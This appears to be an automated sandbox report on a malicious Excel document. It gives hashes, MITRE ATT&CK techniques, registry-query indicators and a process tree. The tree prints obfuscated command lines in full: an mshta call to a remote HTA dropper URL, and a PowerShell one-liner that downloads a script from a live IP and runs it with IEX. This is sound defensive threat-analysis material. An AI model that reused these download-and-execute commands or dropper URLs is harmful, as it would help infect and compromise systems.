da9d3b84063bde0697546e7a9b3e2ab5f8283698dfb032f76018f28b367146f4

General

Target
04e3d96e933cb3eff66656e001f68ab8.xls
Size 142KB
Sample220120-xfsedabbc6
SHA256 da9d3b84063bde0697546e7a9b3e2ab5f8283698dfb032f76018f28b367146f4
MD5 04e3d96e933cb3eff66656e001f68ab8
SHA1 27c4fe4cd975808bcfd17efc213da392f04a2a1d
SHA512 5e652c6634e6d13f91fa3df5889b1ee3569113bcb3eef67ccacc773b3ddd39b5bc2f89998297786d8bdc30c4c6eeda6a8611a254723c9cd2e4560ad944fa3120
MD5 SHA1 SHA512

Score

10^/10

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper
http://0xb907d607/fer/fer.html

Extracted

Language

ps1

Deobfuscated

Source

URLs

ps1.dropper
http://185.7.214.7/fer/fer.png

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	2732	3688	cmd.exe	51

Blocklisted process makes network request 1 IoCs

flow	pid	Process
45	3676	mshta.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
3472	3676	WerFault.exe	63

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
3688	EXCEL.EXE

Suspicious use of SetWindowsHookEx 12 IoCs

pid	Process
3688	EXCEL.EXE
3688	EXCEL.EXE
3688	EXCEL.EXE
3688	EXCEL.EXE
3688	EXCEL.EXE
3688	EXCEL.EXE
3688	EXCEL.EXE
3688	EXCEL.EXE
3688	EXCEL.EXE
3688	EXCEL.EXE
3688	EXCEL.EXE
3688	EXCEL.EXE

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 3688 wrote to memory of 3556	3688	EXCEL.EXE	58
PID 3688 wrote to memory of 3556	3688	EXCEL.EXE	58
PID 3688 wrote to memory of 2732	3688	EXCEL.EXE	61
PID 3688 wrote to memory of 2732	3688	EXCEL.EXE	61
PID 2732 wrote to memory of 3676	2732	cmd.exe	63
PID 2732 wrote to memory of 3676	2732	cmd.exe	63

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\04e3d96e933cb3eff66656e001f68ab8.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3688
- C:\Windows\splwow64.exe
  C:\Windows\splwow64.exe 12288
  2⤵
  PID:3556
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fer.html
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:2732
- - C:\Windows\system32\mshta.exe
    mshta http://0xb907d607/fer/fer.html
    3⤵
    - Blocklisted process makes network request
    PID:3676
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://185.7.214.7/fer/fer.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
      4⤵
      PID:1408
  - - C:\Windows\system32\WerFault.exe
      C:\Windows\system32\WerFault.exe -u -p 3676 -s 1724
      4⤵
      Program crash
      PID:3472

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p
1⤵
PID:1968

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k PrintWorkflow
1⤵
PID:3320

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -pss -s 420 -p 3676 -ip 3676
1⤵
PID:1840

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

3

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/3688-130-0x00007FF83F2D0000-0x00007FF83F2E0000-memory.dmp

Download

memory/3688-132-0x00007FF83F2D0000-0x00007FF83F2E0000-memory.dmp

Download

memory/3688-131-0x00007FF83F2D0000-0x00007FF83F2E0000-memory.dmp

Download

memory/3688-133-0x00007FF83F2D0000-0x00007FF83F2E0000-memory.dmp

Download

memory/3688-134-0x00007FF83F2D0000-0x00007FF83F2E0000-memory.dmp

Download

memory/3688-137-0x00007FF83CE40000-0x00007FF83CE50000-memory.dmp

Download

memory/3688-138-0x00007FF83CE40000-0x00007FF83CE50000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads